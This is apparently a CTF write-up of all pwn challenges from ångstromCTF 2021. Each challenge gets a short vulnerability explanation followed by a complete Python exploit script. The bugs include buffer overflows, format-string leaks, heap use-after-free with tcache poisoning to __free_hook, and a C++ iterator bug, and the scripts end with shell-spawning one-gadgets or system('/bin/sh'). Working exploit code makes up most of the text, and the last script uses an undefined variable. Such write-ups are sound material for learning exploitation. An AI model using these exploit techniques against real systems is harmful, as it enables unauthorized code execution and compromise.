This week I played ångstromCTF 2021 in zer0pts and we stood the 3rd place.
I solved all of the pwn tasks + some rev tasks*1 + bug-finding part of thunderbolt (crypto). As there're many number of challenges, I'm only going to write about the pwn tasks.
- [Binary 50pts] Secure Login (318 solves)
- [Binary 70pts] tranquil (488 solves)
- [Binary 80pts] Sanity Checks (374 solves)
- [Binary 90pts] stickystacks (309 solves)
- [Binary 100pts] RAiid Shadow Legends (172 solves)
- [Binary 200pts] Pawn (43 solves)
- [Binary 210pts] wallstreet (29 solves)
- [Binary 250pts] UQL (11 solves)
- [Binary 300pts] carpal tunnel syndrome (27 solves)
[Binary 50pts] Secure Login (318 solves)
We're given the binary and its source code. The challenge is to bypass the following authentication.
fgets(input, 128, stdin); if (strcmp(input, password) == 0) {
The password is generated randomly.
void generate_password() { FILE *file = fopen("/dev/urandom","r"); fgets(password, 128, file); fclose(file); }
strcmp
terminates the comparison at the null byte.
We can abuse the fact to bypass the auth by comparing an empty string and an empty password.
from ptrlib import * sock = SSH("shell.actf.co", 22, "team token", "team password") sock.sendlineafter("$ ", "cd /problems/2021/secure_login/") logger.info("Connected!") while True: sock.sendlineafter("$ ", "./login") sock.recvline() sock.recvline() sock.sendline('\x00') sock.recvline() l = sock.recvline() print(l) if b'Wrong' in l: continue break sock.interactive()
[Binary 70pts] tranquil (488 solves)
Just a simple buffer overflow.
int vuln(){ char password[64]; puts("Enter the secret word: "); gets(&password); if(strcmp(password, "password123") == 0){ puts("Logged in! The flag is somewhere else though..."); } else { puts("Login failed!"); } return 0; }
No PIE and no canary.
from ptrlib import * elf = ELF("./tranquil") #sock = Process("./tranquil") sock = Socket("nc shell.actf.co 21830") rop_ret = 0x0040101a sock.recvline() payload = b'A' * (64 + 8) payload += p64(rop_ret) payload += p64(elf.symbol('win')) sock.sendline(payload) sock.interactive()
[Binary 80pts] Sanity Checks (374 solves)
Again, obvious buffer overflow.
gets(&password); if(strcmp(password, "password123") == 0){ puts("Logged in! Let's just do some quick checks to make sure everything's in order..."); if (ways_to_leave_your_lover == 50) { if (what_i_cant_drive == 55) { if (when_im_walking_out_on_center_circle == 245) { if (which_highway_to_take_my_telephones_to == 61) { if (when_i_learned_the_truth == 17) { char flag[128]; FILE *f = fopen("flag.txt","r"); ...
We don't need to pass the constraints.
from ptrlib import * elf = ELF("./checks") #sock = Process("./checks") sock = Socket("nc shell.actf.co 21303") payload = b"A" * 0x60 payload += p64(elf.section('.bss') + 0x100) payload += p64(0x40125a) sock.sendline(payload) sock.interactive()
[Binary 90pts] stickystacks (309 solves)
Obvious FSB and the flag is on the stack.
FILE *f = fopen("flag.txt","r"); if (!f) { printf("Missing flag.txt. Contact an admin if you see this on remote."); exit(1); } fgets(&(boshsecrets.flag), 128, f); puts("Name: "); fgets(name, 6, stdin); printf("Welcome, "); printf(name); printf("\n");
Just leak it.
from ptrlib import * flag = b'' for i in range(114514): sock = Socket("nc shell.actf.co 21820") sock.recvline() sock.sendline("%{}$p".format(33 + i)) l = sock.recvlineafter("Welcome, ") if l == b'(nil)': break flag += p64(int(l, 16)) sock.close() print(flag)
[Binary 100pts] RAiid Shadow Legends (172 solves)
The binary is made by C++ but we have the source code again :+1:
Our goal is set skill
to 1337 in the following structure.
struct character { int health; int skill; long tokens; string name; };
However, this field is never initialized.
void play() { string action; character player; cout << "Enter your name: " << flush; getline(cin, player.name); cout << "Welcome, " << player.name << ". Skill level: " << player.skill << endl;
At the address of player.skill
comes the leftover value of std::string agreement
in the previously called function terms_and_conditions
.
cout << "Do you agree to the terms and conditions? " << flush;
cin >> agreement;
So, we just have to put 1337 there.
from ptrlib import * #sock = Process("./raiid_shadow_legends") sock = Socket("nc shell.actf.co 21300") sock.sendlineafter("? ", "1") sock.sendlineafter("? ", b"AAAA" + p32(1337) + b'CCCC') sock.sendlineafter("? ", "yes") sock.sendlineafter(": ", "aaaabbbbcccc") sock.sendlineafter(": ", "111122223333") sock.sendlineafter("? ", "2") sock.interactive()
[Binary 200pts] Pawn (43 solves)
We're given a chess game and its source code. There're multiple vulnerability but the most notable one is this:
int smite_piece(char** b, int x, int y) { if (is_letter(b[y][x])) { b[y][x] = t; return 0; } return 1; }
is_letter
check if the character is an alphabet.
There's no boundary check on the integer x
and y
.
t
is the number of moves we've made so far.
So, basically we can overwrite "alphabets" with arbitrary bytes.
b
is the board allocated on the heap and we need to know its address in order to take advantage of this vulnerability.
Another notable vulnerability is use-after-free. We can see the board even after it's freed. I used this vulnerability to leak the heap address first.
new(0) new(1) delete(1) delete(0) show(0) addr_heap = u64(sock.recvlineafter("0 ")) heap_base = addr_heap - 0x1350 logger.info("heap = " + hex(heap_base))
How can we abuse the primitive of "overwriting alphabets"? First of all, I noticed the following string located at the bss section.
char starting[] = "RNBKQBNR\x00PPPPPPPP\x00........\x00........\x00........\x00........" "\x00pppppppp\x00rnbkqbnr";
Those consecutive alphabets can be used to put arbitrary address. My idea is corrupt tcache so that the link becomes like this:
tcache --> ... --> starting
Then, modifying RNBKQBNR
to somewhere around __free_hook
make the link like this:
tcache --> ... --> starting --> __free_hook
Now we consume the tcache until we pop __free_hook
.
When making a new board, starting
is copied to the board.
char* make_board(char** b) { char* bigmem = (char*)malloc(tiles * (tiles + 1) * sizeof(char)); memcpy(bigmem, starting, sizeof(starting)); for (int i = 0; i < tiles; i++) { b[i] = bigmem + i * 9; } return bigmem; }
This can be used to write an arbitrary value.
The question is: Can we link the tcache to starting
?
The answer is mostly no but sometimes yes. I tried until I get "alphabetical" heap address. Then we can modify the linked list by the first vulnerability.
from ptrlib import * def new(index): sock.sendlineafter("Delete Board\n", "1") sock.sendlineafter("?\n", str(index)) def delete(index): sock.sendlineafter("Delete Board\n", "5") sock.sendlineafter("?\n", str(index)) def show(index): sock.sendlineafter("Delete Board\n", "2") sock.sendlineafter("?\n", str(index)) def smite(index, x, y): sock.sendlineafter("Delete Board\n", "4") sock.sendlineafter("?\n", str(index)) sock.sendlineafter(".\n", str(x) + " " + str(y)) def move(index, sx, sy, dx, dy): global t sock.sendlineafter("Delete Board\n", "3") sock.sendlineafter("?\n", str(index)) sock.sendlineafter(".\n", str(sx) + " " + str(sy)) sock.sendlineafter(".\n", str(dx) + " " + str(dy)) t += 1 kx = 0b01 def keima_pivot(index): global kx if kx == 0b01: move(index, 1, 7, 2, 5) else: move(index, 2, 5, 1, 7) kx ^= 0b11 t = 0 def overwrite(addr, c): print((0x100 + c - t) & 0xff) for i in range((0x100 - t + c) & 0xff): keima_pivot(0) smite(0, addr - addr_board_0, 0) def is_letter(c): return ord('a') <= c <= ord('z') or ord('A') <= c <= ord('Z') elf = ELF("./pawn") libc = ELF("./libc.so.6") while True: #sock = Socket("localhost", 9999) sock = Socket("nc shell.actf.co 21706") # heap leak new(0) new(1) delete(1) delete(0) show(0) addr_heap = u64(sock.recvlineafter("0 ")) addr_board = addr_heap - 0xa0 addr_board_0 = addr_heap - 0x50 heap_base = addr_heap - 0x1350 logger.info("heap = " + hex(heap_base)) # check if address if valid p = heap_base + 0x13f0 key = (p >> 16) & 0xff if not is_letter((p >> 8) & 0xff) \ or (not is_letter(key) and key != 0x40): logger.warn('Bad luck!') sock.close() continue logger.info("board = " + hex(addr_board)) logger.info("board[0] = " + hex(addr_board_0)) # libc leak new(0) new(1) new(2) if key != 0x40: overwrite(heap_base + 0x13fa, 0x40) overwrite(heap_base + 0x13f9, 0x40) overwrite(heap_base + 0x13f8, 0x80) show(2) libc_base = u64(sock.recvlineafter("1 ")) - libc.symbol('_IO_2_1_stdout_') logger.info("libc = " + hex(libc_base)) # tcache poisoning delete(0) delete(1) delete(2) overwrite(heap_base + 0x1440, 0x20) overwrite(heap_base + 0x1441, 0x40) if key != 0x40: overwrite(heap_base + 0x1442, 0x40) # prepare fake chunk writes = {} victim = libc_base + libc.symbol('__free_hook') - 0x40 for i in range(8): writes[0x404020 + i] = (victim >> (i*8)) & 0xff target = libc_base + 0xe6c81 for i in range(7): writes[0x404060 + i] = (target >> (i*8)) & 0xff for write in sorted(writes.items(), key=lambda k:(0x100+k[1]-t)&0xff): overwrite(write[0], write[1]) # overwrite victim new(0) new(1) delete(0) sock.interactive() break
[Binary 210pts] wallstreet (29 solves)
Finally, source code not provided :(
The challenge is FSB with filter.
We cannot use the following characters: AEFGXadefgiopsux
and can use c
only once.
Before igniting the FSB, there's one out-of-bound pointer read, with which we can leak an address.
I don't like to explain this kind of FSB puzzle, so I just leave the exploit.
from ptrlib import * def is_allowed(s): if s.count('c') > 1: raise Exception("more than 1 'c'") for c in s: if c in 'AEFGXadefgiopsux': raise Exception(f"invalid char '{c}'") libc = ELF("./libc.so.6") while True: #sock = Socket("localhost", 9999) sock = Socket("nc pwn.2021.chall.actf.co 21800") # leak stack address sock.sendlineafter("stonks!\n", "1") sock.sendlineafter("?\n", "43") addr_ret = u64(sock.recvline()) - 0x108 logger.info("ret = " + hex(addr_ret)) if addr_ret < 0: logger.warn("Bad luck!") sock.close() continue # call main again payload = '' payload += '%*%' * (5 + 0x2d - 1) payload += '%{}c'.format((addr_ret & 0xffff) - 0x31) payload += '%hn' if (addr_ret & 0xff) <= 0x4d: payload += '.' * (0x4d - (addr_ret & 0xff)) else: payload += '.' * (0x14d - (addr_ret & 0xff)) payload += '%{}$hhn'.format(5 + 0x49) payload += '\n' if len(payload) >= 0x12c: logger.warn("Bad luck!") sock.close() continue payload += '\x00' * (0x12c - len(payload)) sock.sendafter("?\n", payload) sock.recvline() sock.recvline() # libc leak sock.sendlineafter("?\n", "-16") libc_base = u64(sock.recvline()) - libc.symbol('_IO_2_1_stdout_') logger.info("libc = " + hex(libc_base)) target = libc_base + 0xdf54f victim = 0x404068 # overwrite exit@got for i in range(6): # prepare address payload = '' if i == 0: payload += '%{}c'.format((victim + i) & 0xffff) payload += '%{}$hn'.format(5 + 0x2b) else: payload += '%{}c'.format((victim + i) & 0xff) payload += '%{}$hhn'.format(5 + 0x2b) payload += '.' * (0x14d - ((victim + i) & 0xff)) payload += '%{}$hhn'.format(5 + 0x49) payload += '\n' payload += '\x00' * (0x12c - len(payload)) sock.sendafter("?\n", payload) sock.recvline() sock.recvline() # whatever sock.sendlineafter("?\n", "0") # write one byte + call main again payload = '' payload += '%{}c'.format((target >> (i*8)) & 0xff) payload += '%{}$hhn'.format(5 + 0x4b) if ((target >> (i*8)) & 0xff) <= 0x4d: payload += '.' * (0x4d - ((target >> (i*8)) & 0xff)) else: payload += '.' * (0x14d - ((target >> (i*8)) & 0xff)) payload += '%{}$hhn'.format(5 + 0x49) payload += '\n' payload += '\x00' * (0x12c - len(payload)) sock.sendafter("?\n", payload) sock.recvline() sock.recvline() # whatever sock.sendlineafter("?\n", "0") sock.sendlineafter("?\n", "panda-sensei") sock.interactive() break
[Binary 250pts] UQL (11 solves)
Source code provided yay!
We can insert, modify, remove, display a list. By fuzzing the binary, I found the vulnerability.
for (vector<string>::iterator it = db.begin(); it != db.end(); it++) { ... if (find(op.removals.begin(), op.removals.end(), data) != op.removals.end()) db.erase(it); ... }
We can remove an element during the iteration. This usually just skips some elements and doesn't cause any crashes. However, we can cause a bug if we remove the element in the final iteration.
Let's denote the current address of db.end()
as X
.
In the final iteration, it
points the address X-8
.
By removing the element, db.end()
becomes X-8
.
However, it
is added by 8 at the end of the iteration and becomes X
.
Then, it != db.end()
holds because X != X-8
, and the iteration won't stop.
Fortunately C++ conducts some assertion checks and the program won't crash (since it's caught in the main function).
If we can put a fake std::string
next to db
, we may do some operations on the fake string.
My idea is
- Prepare a leftover of freed
std::string
next todb
and leak the heap address bydisplay
- Prepare a fake
std::string
which points to themain_arena
address on the heap, then leak it again bydisplay
- Prepare a fake
std::string
which points to__free_hook
, then overwrite it bymodify
I like this challenge :-)
from ptrlib import * def insert(data): return f' insert {data}' def remove(data): return f' remove {data}' def modify(data, index, char): return f' modify {data} to be {char} at {index}' def display(): return " display everything" def execute(code): sock.sendlineafter("> ", code) libc = ELF("./libc.so.6") #sock = Socket("localhost", 9999) sock = Socket("nc shell.actf.co 21321") """ Step 1. heap leak """ code = '' code += insert('A' * 0x10) code += insert('B' * 0x10) code += insert('C' * 0x10) code += remove('C' * 0x10) execute(code) code = remove('B' * 0x10) execute(code) code = display() code += remove('A' * 0x10) execute(code) addr_heap = u64(sock.recvline()[:8]) logger.info("heap = " + hex(addr_heap)) """ Step 2. libc leak """ payload = b'A' * 0xc0 payload += p64(addr_heap + 0x20) # fake std::string payload += p64(0x8) payload += p64(0x8) payload += p64(0) payload += b'A' * (0x100 - len(payload)) execute(payload) code = '' for i in range(6): code += insert(chr(0x41 + i) * 8) execute(code) payload = b'X' * 0x420 execute(payload) code = display() code += remove(chr(0x46) * 8) execute(code) for i in range(5): sock.recvline() libc_base = u64(sock.recvline()) - libc.main_arena() - 0x70 logger.info("libc = " + hex(libc_base)) """ Step 3. AAW to win """ payload = b'B' * 0x1a0 payload += p64(libc_base + libc.symbol('__free_hook')) # fake std::string payload += p64(8) payload += p64(8) payload += p64(0) payload += b'B' * (0x200 - len(payload)) execute(payload) code = '' for i in range(8): code += insert(chr(0x61 + i) * 8) code += remove(chr(0x68) * 8) target = libc_base + libc.symbol('system') for i in range(6): code += modify('\x00' * 8, i, chr((target >> (i*8)) & 0xff)) execute(code) """ Step 4. Execute command """ execute("/bin/sh" + "\0"*0x10) sock.interactive()
First blood :P
[Binary 300pts] carpal tunnel syndrome (27 solves)
No source code :(
Although the binary is pretty big, the vulnerability is obvious.
- Obvious address leak in the bingo form
- Obvious use-after-free in the linked list of the bingo
Just chain them.
from ptrlib import * def mark(x, y): sock.sendlineafter(": ", "1") sock.sendlineafter(": ", f'{x} {y}') def view(x, y): sock.sendlineafter(": ", "2") sock.sendlineafter(": ", f'{x} {y}') def reset(index, is_row=True): sock.sendlineafter(": ", "3") sock.sendlineafter(": ", str(index)) sock.sendlineafter(": ", 'r' if is_row else 'c') def check_bingo(index, is_row=True): sock.sendlineafter(": ", "4") sock.sendlineafter(": ", str(index)) sock.sendlineafter(": ", 'r' if is_row else 'c') def check_bingos(): sock.sendlineafter(": ", "5") def change_marker(marker): sock.sendlineafter(": ", "6") sock.sendafter(": ", marker) def winner(size, name): sock.sendlineafter(": ", str(size)) sock.sendafter(": ", name) libc = ELF("./libc.so.6") #sock = Socket("localhost", 9999) sock = Socket("nc pwn.2021.chall.actf.co 21840") sock.sendafter(": ", "legoshi") # leak proc base for i in range(5): mark(1, i) check_bingos() sock.sendlineafter('? ', 'y') winner(0x27, b'A'*0x18 + b'\x20\xb1') proc_base = u64(sock.recvlineafter("A"*0x18)[:6]) - 0x5120 logger.info("proc = " + hex(proc_base)) # leak libc base view(1, 4) logger.info("Re-try if nothing appears in 1 sec") libc_base = u64(sock.recvlineafter(": ")) - libc.symbol('_IO_2_1_stderr_') logger.info('libc = ' + hex(libc_base)) if libc_base > 0x7fffffffffff or libc_base < 0: logger.warn("Bad luck!") exit() # tcache poisoning change_marker(p64(libc_base + target)) # target = whichever address to overwrite mark(1, 1) reset(0, is_row=True) # overwrite with one gadget change_marker(p64(libc_base + 0xe6c7e)) mark(1, 2) sock.sendlineafter(": ", "3") sock.sendlineafter(": ", "0") sock.sendlineafter(": ", "X") sock.interactive()